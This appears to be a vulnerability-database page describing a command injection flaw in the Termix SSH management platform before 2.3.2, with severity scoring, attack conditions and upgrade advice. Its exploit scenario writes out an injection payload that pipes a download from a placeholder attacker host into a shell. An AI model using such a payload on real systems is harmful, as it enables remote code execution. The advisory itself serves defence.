EUVD-2026-62860Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Network-reachable web UI (AV:N/AC:L) but requires an authenticated user with tunnel-edit rights (PR:L, not PR:N); command execution yields full C/I/A impact on the SSH host.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionCVE.org
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to 2.3.2, the DELETE /ssh/tunnel/disconnect/:tunnelName teardown path in src/backend/ssh/tunnel.ts interpolates endpointPort, sourcePort, endpointUsername, and endpointIP into single-quoted pkill -f patterns. An authenticated user who can edit a tunnel host field can include a single quote to terminate the pattern and append a shell command, which executes when the tunnel is disconnected. Successful exploitation runs arbitrary commands on the source SSH host with the privileges of the connected SSH account. This issue is fixed in version 2.3.2.
AnalysisAI
OS command injection in Termix (self-hosted web SSH/tunneling platform) before 2.3.2 lets an authenticated user who can edit a tunnel's host fields achieve arbitrary command execution. Attacker-controlled values (endpointPort, sourcePort, endpointUsername, endpointIP) are interpolated into single-quoted pkill -f patterns in src/backend/ssh/tunnel.ts, so a single quote breaks out of the pattern and appends a shell command that runs when DELETE /ssh/tunnel/disconnect/:tunnelName tears the tunnel down. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires an authenticated Termix account with permission to create or edit a tunnel's host fields (endpointIP, endpointUsername, endpointPort, or sourcePort), and the injected payload only fires when the tunnel is disconnected via DELETE /ssh/tunnel/disconnect/:tunnelName. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The published CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N, base 9.8) conflicts with the description, which explicitly requires 'an authenticated user who can edit a tunnel host field' - this is authenticated, config-level access, so PR:N is almost certainly overstated and PR:L (or higher, since editing tunnel definitions is a privileged operation) is more accurate; realistic base is closer to 8.x. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A low-privilege but authenticated Termix user edits a tunnel and sets the endpoint IP or username to a value like 1.2.3.4' ; curl attacker/x | sh ; ' so that the injected command sits inside the pkill -f pattern. When that tunnel is later disconnected (by the user or automatically), the backend runs the pkill command through a shell and the appended payload executes on the source SSH host as the connected SSH account. … |
| Remediation | Upgrade to Termix 2.3.2 (Vendor-released patch: 2.3.2, https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag), which sanitizes the interpolated tunnel fields in the disconnect path. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all Termix deployments in your environment and audit the list of authenticated users granted tunnel-edit privileges; implement immediate access restrictions to limit who can modify tunnel host fields and enable detailed logging of all tunnel configuration changes. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Docker default credentials in Termix server management. PoC and patch available.
Stored XSS in Termix File Manager (versions 1.7.0-1.9.0) allows attackers with SSH server access to execute arbitrary Ja
Remote command execution in Termix web-based server management platform (versions prior to 2.3.2) allows any authenticat
Remote code execution in Termix (self-hosted web-based server management platform) before version 2.1.0 lets an authenti
OS command injection in Termix web-based server management platform prior to version 2.3.2 allows remote unauthenticated
Cross-user SSH credential disclosure in Termix, a self-hosted web server-management platform, allows an authenticated lo
Broken authorization in Termix (self-hosted web-based SSH/server management platform) before 2.6.1 lets any authenticate
Cross-tenant remote code execution in Termix (web-based SSH/file management platform) prior to version 2.3.2 allows an a
Command injection in Termix server management platform before version 2.3.2 allows authenticated users to execute arbitr
Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-
Unauthorized data exposure in Termix prior to 2.3.2 allows a low-privileged authenticated user to exfiltrate password-re
Command injection in Termix (a self-hosted web-based SSH/server-management platform) before version 2.1.0 lets attackers
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today